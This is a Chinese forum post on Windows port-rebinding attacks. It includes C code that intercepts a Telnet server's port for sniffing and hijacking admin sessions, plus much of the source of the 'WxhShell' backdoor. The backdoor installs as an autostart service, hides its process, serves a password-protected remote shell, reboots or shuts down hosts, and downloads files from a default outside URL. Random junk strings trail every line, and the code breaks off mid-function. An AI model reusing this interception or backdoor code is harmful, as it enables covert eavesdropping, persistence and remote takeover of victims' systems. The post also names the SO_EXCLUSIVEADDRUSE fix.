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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G' a{;3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a2`|6M;  
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  saddr.sin_family = AF_INET; `F TA{ba  
YA4;gH+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Umt?COc  
IAa}F!6Q1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Nh/B8:035  
*^ -~J/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T@,tlIM  
!Won<:.[0  
  这意味着什么?意味着可以进行如下的攻击: I2<t?c:Pn<  
]2o?Gnn@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h oL"K  
Hwm] l`E]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o+T %n1$+V  
2n8spLZYGY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CHX- 4-84{  
;wvhe;!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MZInS:Vj  
57eA (uI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #:n:3]t  
} :8{z`4H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V]$J&aD  
y7)$~R):-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8KrqJN0\  
\9GJa"xA`  
  #include op]HF4  
  #include n_X)6 s  
  #include 0qU Bt9rA  
  #include    */JMPw&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .G|9:b  
  int main() &6mXsx$  
  { ) FnJLd  
  WORD wVersionRequested; {"x8 q  
  DWORD ret; >SR! *3$5  
  WSADATA wsaData; W~e/3#R\=  
  BOOL val; Z} Ld!Byz  
  SOCKADDR_IN saddr; 9e*v&A2Y'  
  SOCKADDR_IN scaddr; p%+uv\Ix  
  int err; 3"ii_#1  
  SOCKET s; ya^zlj\`0e  
  SOCKET sc; i`}nv,  
  int caddsize; R8U?s/*  
  HANDLE mt; g*nh8  
  DWORD tid;   "}(g3Iy  
  wVersionRequested = MAKEWORD( 2, 2 ); k;bdzcMkQ  
  err = WSAStartup( wVersionRequested, &wsaData ); z|:3,$~sN  
  if ( err != 0 ) { j~@Hj$APa`  
  printf("error!WSAStartup failed!\n"); IyfhVk?  
  return -1; R!8qkG  
  } / .ddx<  
  saddr.sin_family = AF_INET; !C$bOhc  
   E 9LKVs}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 97%S{_2m/  
L6-zQztn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g_l=z`,8  
  saddr.sin_port = htons(23); ~j&#DG&L  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `X06JTqf:  
  { Ur/+nL{  
  printf("error!socket failed!\n");  @{|vW  
  return -1; lSu\VCG  
  } B]o5 HA<k  
  val = TRUE; gISG<!+X^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "DniDA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <FfdOK_  
  { Pq@%MF]5  
  printf("error!setsockopt failed!\n"); Av#_cL  
  return -1; Xj^Hy"HC^~  
  } '8$*gIQ8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E~y@ue:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1D6F WYV8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [Pnk@jIk4  
_4]GP3`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?Thh7#7LM  
  { LR5X=&k  
  ret=GetLastError(); I|27%i  
  printf("error!bind failed!\n"); drr n&y  
  return -1; "?<$>\@; q  
  } dP0%<Q|  
  listen(s,2); X{j`H\'L  
  while(1) t%`GXJb  
  { dF?:&oP]  
  caddsize = sizeof(scaddr); sKvz<7pag  
  //接受连接请求 nF8|*}w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KG! W,tB  
  if(sc!=INVALID_SOCKET) ^s_BY+#  
  { SGuLL+|W#8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *C (/ 2  
  if(mt==NULL) gW[(gf.oo  
  { |NsrO8H   
  printf("Thread Creat Failed!\n"); aOj(=s  
  break; /i${[1  
  } p%8v+9+h2  
  } tocZO  
  CloseHandle(mt); m|}};8  
  } 8N8N)#A[  
  closesocket(s); n%M-L[n  
  WSACleanup(); {Gd<+tQg  
  return 0; eiNF?](3O  
  }   ]W-7 U_  
  DWORD WINAPI ClientThread(LPVOID lpParam) :j}]nS  
  { )9.i'{{ 0  
  SOCKET ss = (SOCKET)lpParam; /Lf+*u>"  
  SOCKET sc; Z uh!{_x;  
  unsigned char buf[4096]; '_n J DM  
  SOCKADDR_IN saddr; U',9t  
  long num; |)7dh B  
  DWORD val; ? ^E B"{  
  DWORD ret; zj?^,\{A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 o:E_k#Fi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <K$X>&Ts  
  saddr.sin_family = AF_INET; ? x*Ve2+]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7~2/NU?  
  saddr.sin_port = htons(23); O[tOpf@s.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]Tb ?k+a  
  { y2>XLELy  
  printf("error!socket failed!\n"); f^tCD'Vmi  
  return -1; IwE{Zvr  
  } [%8t~zg  
  val = 100; !yo/ F& 6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'g4t !__  
  { 1qR[& =/  
  ret = GetLastError(); dFu<h   
  return -1; M:!Twz$  
  } ~F</ s.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4! Cu>8B  
  { L=7 U#Q/DE  
  ret = GetLastError(); $qoh0$  
  return -1; X"S-f; b#  
  } cZ!%#A z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) % |6t\[gn  
  { ;oKN8vI#7  
  printf("error!socket connect failed!\n"); :f~[tox  
  closesocket(sc); Ac0^`  
  closesocket(ss); 9rB,7%@EL  
  return -1; 5BL4VGwJ  
  } !L+4YA  
  while(1) Z/|oCwR  
  { M!{;:m28X!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [r,ZM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0={@GhjApL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 * 5H  
  num = recv(ss,buf,4096,0); 7+,6 m!4  
  if(num>0) [>B`"nyNQ  
  send(sc,buf,num,0); DE{tpN  
  else if(num==0) / _N*6a~  
  break; )9^0Qk' ]  
  num = recv(sc,buf,4096,0); BD)5br].  
  if(num>0) '^T Q Ubw  
  send(ss,buf,num,0); peA}/Jc  
  else if(num==0) E@/yg(?d=  
  break; Pl@3=s!~>~  
  } \m>mE/N  
  closesocket(ss); ~f.fg@v`+v  
  closesocket(sc); /EN3>25"#  
  return 0 ; PRs[! EB6  
  } X&B2&e;  
,?OV39h  
k/"^W.B aj  
========================================================== Ft7{P.g  
sXD.*D  
下边附上一个代码,,WXhSHELL z!z+E%H^  
(&2 5 8i,  
========================================================== {^r8uKo:~  
ewo1^&#>  
#include "stdafx.h" 1;; is  
FC'v= *  
#include <stdio.h> dG6 G  
#include <string.h> nLA8Hy"8z  
#include <windows.h> %n^jho5  
#include <winsock2.h> /M:R|91:_  
#include <winsvc.h> h  0EpW5  
#include <urlmon.h> n9Mi?#xIp  
.|[5*-  
#pragma comment (lib, "Ws2_32.lib") e|`QW|9 .  
#pragma comment (lib, "urlmon.lib") G_fP%ovh  
Dr;-2$Kt/&  
#define MAX_USER   100 // 最大客户端连接数 XHX\+&6  
#define BUF_SOCK   200 // sock buffer j{.P'5e@pZ  
#define KEY_BUFF   255 // 输入 buffer $VWeo#b  
SJYy,F],V"  
#define REBOOT     0   // 重启 QKj-"y[  
#define SHUTDOWN   1   // 关机 `N+A8  
bNUb  
#define DEF_PORT   5000 // 监听端口 8Z=d+}Gg<  
//SH=>w2  
#define REG_LEN     16   // 注册表键长度 ]h(}%fk_  
#define SVC_LEN     80   // NT服务名长度 T-0[P;  
+ _=&7  
// 从dll定义API $ekB+ t:cj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lo'P;Sb4<}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tBtG- X2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &f}a`/{@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uR|?5DK  
6Un61s  
// wxhshell配置信息 -h5yg`+1N\  
struct WSCFG { \#(3r1(  
  int ws_port;         // 监听端口 hAPWEh^  
  char ws_passstr[REG_LEN]; // 口令 ^8,Y1r9`$  
  int ws_autoins;       // 安装标记, 1=yes 0=no X8F@U ^@  
  char ws_regname[REG_LEN]; // 注册表键名 `MMh"# xN  
  char ws_svcname[REG_LEN]; // 服务名 #=tWjInm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &3 QdQ n,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QJBzv|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  2 EG`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *O>OHX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '$5.{o`s*1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a ?LrSk`  
byj}36LN62  
}; K`=O!;  
5dH}cXs  
// default Wxhshell configuration * u_ nu>  
struct WSCFG wscfg={DEF_PORT, zJp}JO  
    "xuhuanlingzhe", R)>/P{ A-P  
    1, QZcdfJck=+  
    "Wxhshell", GpjyF_L  
    "Wxhshell", '@Zau\xC  
            "WxhShell Service", B8+J0jdg6%  
    "Wrsky Windows CmdShell Service", q Ee1OB  
    "Please Input Your Password: ", ()< E?D=  
  1, RC_w 1:h  
  "http://www.wrsky.com/wxhshell.exe", OYw~I.Rq  
  "Wxhshell.exe" !.\EU*)1  
    }; C2WWS(zn  
^CIO,I  
// 消息定义模块 2$>"4 N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v/n4Lp$W^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \a:#e%]qz9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &RRHmJI:  
char *msg_ws_ext="\n\rExit."; 7 Jxhn!  
char *msg_ws_end="\n\rQuit."; sV8}Gv a  
char *msg_ws_boot="\n\rReboot..."; H4s^&--  
char *msg_ws_poff="\n\rShutdown..."; =0te.io)3O  
char *msg_ws_down="\n\rSave to "; 7Ao9MF-  
gWt}q-@nRR  
char *msg_ws_err="\n\rErr!"; J%G EIe|  
char *msg_ws_ok="\n\rOK!"; vwVK ^B  
 ~F?vf@k  
char ExeFile[MAX_PATH]; }?"}R<F|M,  
int nUser = 0; ]*I:N  
HANDLE handles[MAX_USER]; [>5<&[A  
int OsIsNt; #;9I3,@/Y  
Z(fXN$  
SERVICE_STATUS       serviceStatus; ^[K3]*!@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <eU1E }BDQ  
+mM=`[Z`??  
// 函数声明 U} EaV<  
int Install(void); ^Eu]i  
int Uninstall(void); 4uQ\JD(*Eu  
int DownloadFile(char *sURL, SOCKET wsh); en"]u,!  
int Boot(int flag); 6#A g^A  
void HideProc(void); !N\<QRb\q  
int GetOsVer(void); _zAHN0d  
int Wxhshell(SOCKET wsl); wul$lJ?tE  
void TalkWithClient(void *cs); K? ;_T$^K  
int CmdShell(SOCKET sock); BCDmce`=l  
int StartFromService(void); $XBn:0U  
int StartWxhshell(LPSTR lpCmdLine); [E9V#J89  
v'R{lXE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kq;1Ax0 {  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P}So>P~2  
|Ai/q6u  
// 数据结构和表定义 (0L7Ivg<  
SERVICE_TABLE_ENTRY DispatchTable[] = gZa/?[+  
{ ]Gk;n/! B  
{wscfg.ws_svcname, NTServiceMain}, \!!qzrq  
{NULL, NULL} QucDIZ  
}; RCXm< /  
L-B"P&  
// 自我安装 6f"jl  
int Install(void) l(c2 B  
{ )gOVnA/M  
  char svExeFile[MAX_PATH]; lSMv9 :N  
  HKEY key; <evvNSE  
  strcpy(svExeFile,ExeFile); {WBe(dc_%  
{FYWQ!L  
// 如果是win9x系统,修改注册表设为自启动 ;E Z5/"T  
if(!OsIsNt) { LAe>XF-5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N$\'X<{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eWKFs)C]  
  RegCloseKey(key); p~Tp=d)/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { glMYEGz6p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rF9|xgFK  
  RegCloseKey(key); [}xVz"8V  
  return 0; 6`K R  
    } ,2t|(V*"&  
  } Ban@$uf  
} yyp0GV.x  
else { [v@3|@  
SM57bN  
// 如果是NT以上系统,安装为系统服务 }ufzlHD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Zj=:;  
if (schSCManager!=0) N>R\,n|I  
{ t>hoXn^-  
  SC_HANDLE schService = CreateService 5yOIwzr&Uu  
  ( t0*kL.  
  schSCManager, fQW1&lFT  
  wscfg.ws_svcname, 0P{^aSxTP  
  wscfg.ws_svcdisp, U2v;[>=]  
  SERVICE_ALL_ACCESS, Nk.m$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $|kq{@<  
  SERVICE_AUTO_START, vbt0G-%Z  
  SERVICE_ERROR_NORMAL, <x QvS^|[  
  svExeFile, zKh^BwhO|X  
  NULL, o,-p[1b  
  NULL, ;rggO0Y  
  NULL, jeKqS  
  NULL, Ro}7ERA  
  NULL ~]sj.>P  
  ); +8<|P&fH  
  if (schService!=0) )b%t4~7  
  { Lud[.>i  
  CloseServiceHandle(schService); KT5amct  
  CloseServiceHandle(schSCManager); _xKIp>A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OD@k9I[  
  strcat(svExeFile,wscfg.ws_svcname); U46qpb 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2 m"2>gX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jHPkfwfAF  
  RegCloseKey(key); *B4?(&0  
  return 0; a+HGlj 2>  
    } [Rj_p&'  
  } 'CQ~ZV5  
  CloseServiceHandle(schSCManager); iXoEdt)  
} {GH0> 1&  
} 1K* `i(  
Zz,j,w0 Z  
return 1; d}RU-uiW  
} #mIgk'kW<  
#EG W76 f  
// 自我卸载 O{vVW9Q  
int Uninstall(void) ~U;M1>  
{ Mb!b0  
  HKEY key; w3 n6md  
W u C2 LM  
if(!OsIsNt) { OO?;??  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H=/;  
  RegDeleteValue(key,wscfg.ws_regname); #&k`-@b5|  
  RegCloseKey(key); !_?K(X~/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Yk!R9.  
  RegDeleteValue(key,wscfg.ws_regname); 1"\^@qRv#  
  RegCloseKey(key); !:]/MpQ ?  
  return 0; {4F=].!  
  } QZh#&Qf;  
} e2"<3  
} z|M+ FHl$  
else { vVbBg; {  
.](~dVp%~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @u>:(9bp  
if (schSCManager!=0) gzMp&J  
{ |e QwI&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KgH_-REN  
  if (schService!=0) 1 $m[# 3  
  { o8 B$6w:_  
  if(DeleteService(schService)!=0) { 'bQjJRq!  
  CloseServiceHandle(schService); 67tB8X  
  CloseServiceHandle(schSCManager); h5o6G1ur  
  return 0; 7&hhKEA  
  } EXF|; @-"  
  CloseServiceHandle(schService); zhC#<  
  } rq#\x{l  
  CloseServiceHandle(schSCManager); h@2YQgw`  
} g`Kh&|GU  
} 1 u~Xk?  
c{"qrwLA  
return 1; 5y~ Srb?2  
} @oNYMQ@)d  
T5_/*`F  
// 从指定url下载文件 mgd)wZNV  
int DownloadFile(char *sURL, SOCKET wsh) !'z"V_x~  
{ 6M#}&Gv  
  HRESULT hr; l!*!)qCB(S  
char seps[]= "/";  &*Z"r*  
char *token; Z?f-_NHg  
char *file; O}-+o1  
char myURL[MAX_PATH]; shZEE2Dr  
char myFILE[MAX_PATH]; "$I8EW/1  
FyhLMW3  
strcpy(myURL,sURL); O<`N0  
  token=strtok(myURL,seps); J1u&Ga  
  while(token!=NULL) 1YtbV3  
  { f q&(&(|  
    file=token; yog(  
  token=strtok(NULL,seps); wM``vx[/  
  } K^Ho%_)  
PJ))p6 9  
GetCurrentDirectory(MAX_PATH,myFILE); 3P*[ !KI  
strcat(myFILE, "\\"); [9C{\t  
strcat(myFILE, file); g QYs,  
  send(wsh,myFILE,strlen(myFILE),0); / tG[pg{[  
send(wsh,"...",3,0); `yYYyB[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gSk0#Jt  
  if(hr==S_OK) zq'KX/o  
return 0; h:=W`(n5u  
else {+^&7JX  
return 1; Rn$TYCO  
I]-"Tw  
} l+#uQo6cqQ  
?~3Pydrb#  
// 系统电源模块 ^2`*1el  
int Boot(int flag) v ;nnr0;  
{ U?xa^QVhj  
  HANDLE hToken; =/ +f3  
  TOKEN_PRIVILEGES tkp; 8dLK5"_3  
-4v2]  
  if(OsIsNt) { a|-ozBFR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0TqIRUz "C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); em9nuXG  
    tkp.PrivilegeCount = 1; @M*oq2U;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f;%=S:3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3z0 %uY[e  
if(flag==REBOOT) { nC}Y+_wo0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G.:QA}FE'  
  return 0; +F92_a4  
} n >@Qx$-  
else { ROJ=ZYof  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cKB1o0JsYJ  
  return 0; ckkm}|&m  
} ID~}pEQ  
  } fD*jzj7o ,  
  else { &S=xSs:q.  
if(flag==REBOOT) { >{{0odBF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x3l~kZ(  
  return 0; qm6X5T  
} KjK-#F,@  
else { iBk1QRdn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #'5{ ?Cb  
  return 0; 629ogJo8  
} {XH3zMk[  
} O$7r)B6Cs  
y`Zn{mQ@[  
return 1; 6lm<>#_  
} v+~O\v5Q  
!l$k6,WJi  
// win9x进程隐藏模块 0D/7X9xg9+  
void HideProc(void) LaYd7Oyf]  
{ bh+m_$X~  
t]hfq~Ft  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~{ucr#]C  
  if ( hKernel != NULL ) |`pDOd  
  { >J_(~{-sNG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1cS*T>`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tu^C<MV  
    FreeLibrary(hKernel); G%>{Z?!B  
  } t;}`~B  
)T@?.J`  
return; j/F:j5O*  
} sn8l3h)  
GC[Ot~*_  
// 获取操作系统版本 :)F0~Q  
int GetOsVer(void) '>GPk5Nq77  
{ Q[9W{l+  
  OSVERSIONINFO winfo; _~ 3r*j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p2hPLq  
  GetVersionEx(&winfo); k54b@U52 h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pp+z5  
  return 1; _adW>-wQ!d  
  else Y/f8rN  
  return 0; Zfd `Fu  
} v,Z?pYYo  
x b!&'cw  
// 客户端句柄模块 s=Xg6D  
int Wxhshell(SOCKET wsl) Ap> H-/C  
{ l6N"{iXU  
  SOCKET wsh; SP;1XXlL  
  struct sockaddr_in client; aWY#gI{  
  DWORD myID; k{ulu  
& kQj)  
  while(nUser<MAX_USER) P"|-)d  
{ |Y30B,=M  
  int nSize=sizeof(client); ^nLk{<D35  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~&WBA]w'+  
  if(wsh==INVALID_SOCKET) return 1; *9US>mVy  
|=[. _VH1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @xr}(.  
if(handles[nUser]==0) jP.dQj^j&  
  closesocket(wsh); G[]h1f!  
else v)~!HCG  
  nUser++; 2BO"mc<#$  
  } 7 b{y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XdE|7=+s  
s0'6r$xj  
  return 0; SP4(yJy&  
} 5}2148  
YoSBS   
// 关闭 socket X$=/H 6R5Z  
void CloseIt(SOCKET wsh) ]+Z,HY@;-  
{ >6|Xvtf  
closesocket(wsh); %?J-0  
nUser--; ZQyXzERp  
ExitThread(0); zor  
} 6%MM)Vj+u  
\q"vC1,9  
// 客户端请求句柄 n`D-?]*  
void TalkWithClient(void *cs) m,Mg  
{ 2^)_XVX1  
} a!HbH  
  SOCKET wsh=(SOCKET)cs; cHJ4[x=  
  char pwd[SVC_LEN]; Y8/&1s_  
  char cmd[KEY_BUFF]; u6 4{w,  
char chr[1]; p+CK+m   
int i,j; !gi3J @  
d!y_N&z|(  
  while (nUser < MAX_USER) { {(Ba  
e!w#{</8Q  
if(wscfg.ws_passstr) { i<!1s%i}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T/tCX[}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R#Z m[S  
  //ZeroMemory(pwd,KEY_BUFF); 6%&DJBU!  
      i=0; awSi0*d~  
  while(i<SVC_LEN) { vb$i00?  
PQ" v  
  // 设置超时 Ci?RuZ"  
  fd_set FdRead; TlC? ?#  
  struct timeval TimeOut; 5:T}C@  
  FD_ZERO(&FdRead); :` S\p[5  
  FD_SET(wsh,&FdRead); 1_> w|6;e  
  TimeOut.tv_sec=8; 7|<-rjz^  
  TimeOut.tv_usec=0; o),@I#fM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UW&K\P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mr@{3do$  
+< )H2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gyob q'o-  
  pwd=chr[0];  >1q:-^  
  if(chr[0]==0xd || chr[0]==0xa) { ckbD/+  
  pwd=0; ,S1'SCwVdJ  
  break; 7e Hj"_;  
  } Fu65VLKh  
  i++; hmI> 7@&  
    } R.rE+gxO1  
 @4>?Y=#  
  // 如果是非法用户,关闭 socket Q7_#k66gb7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .8XkB<[wb  
} C^!~WFy  
k>#-NPU$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u+ 8wBb5!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5yf`3vV|3@  
b7HT<$Wg  
while(1) { h4c4!S  
@e+qe9A|  
  ZeroMemory(cmd,KEY_BUFF); 8|Wl|@1(  
$HAwd6NI  
      // 自动支持客户端 telnet标准   tY60~@YO&  
  j=0; aL/7xa  
  while(j<KEY_BUFF) { 6G:7r [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;JX2ebx  
  cmd[j]=chr[0]; P?zL`czWd  
  if(chr[0]==0xa || chr[0]==0xd) { hYVy65Ea  
  cmd[j]=0; 1r<'&f5  
  break; 6\m'MV`R!  
  } &zHY0fxX  
  j++; fjHd"!)3  
    } jtPHk*>^wu  
q^b12@.  
  // 下载文件 vZIx>  
  if(strstr(cmd,"http://")) { :~~\{fm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =9A!5  
  if(DownloadFile(cmd,wsh)) 4qyPjAG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]=LY  
  else Z )X(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >n5Kz]]%  
  } 1(/rg  
  else { }LX.gm  
ki]i[cdk  
    switch(cmd[0]) { A{gniYqvB`  
  ,DCrhk  
  // 帮助 Olr'n% }  
  case '?': { KXcE@q9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !{XVaQ?x  
    break; cB2~W%H  
  } ^F-AZP /5F  
  // 安装 <#lNi.?.  
  case 'i': { 6^TWY[z2%  
    if(Install()) dbfI!4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cp#}x1{  
    else PBAQ KQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'L2[^iF9  
    break; Jy0(g T  
    } ?IR+OCAA  
  // 卸载 LHq*E`  
  case 'r': { t=n@<1d  
    if(Uninstall()) OJs s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n&FRjq9y  
    else -V:7j8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2MDY nMy  
    break; `%=!_|  
    } ];Y tw6A  
  // 显示 wxhshell 所在路径 V.w!]{xm  
  case 'p': { |L6 +e *  
    char svExeFile[MAX_PATH]; VpB+|%@p  
    strcpy(svExeFile,"\n\r"); *m&(h@l  
      strcat(svExeFile,ExeFile); jk5C2dy  
        send(wsh,svExeFile,strlen(svExeFile),0); \5F {MBx !  
    break; U.J/ "}5`T  
    } ?DC;Hk<  
  // 重启 cN| gaL  
  case 'b': { BSg 3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :BUr8%l  
    if(Boot(REBOOT)) ExSy/^4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !3Q^oR  
    else { 5I0j>{U&  
    closesocket(wsh); }?Tz=hP  
    ExitThread(0); A )xfO-  
    } Uy$?B"Z  
    break; O_&Km[  
    } Yu|L6#[E  
  // 关机 S[RVk=A1  
  case 'd': { 8&v%>wxR@  
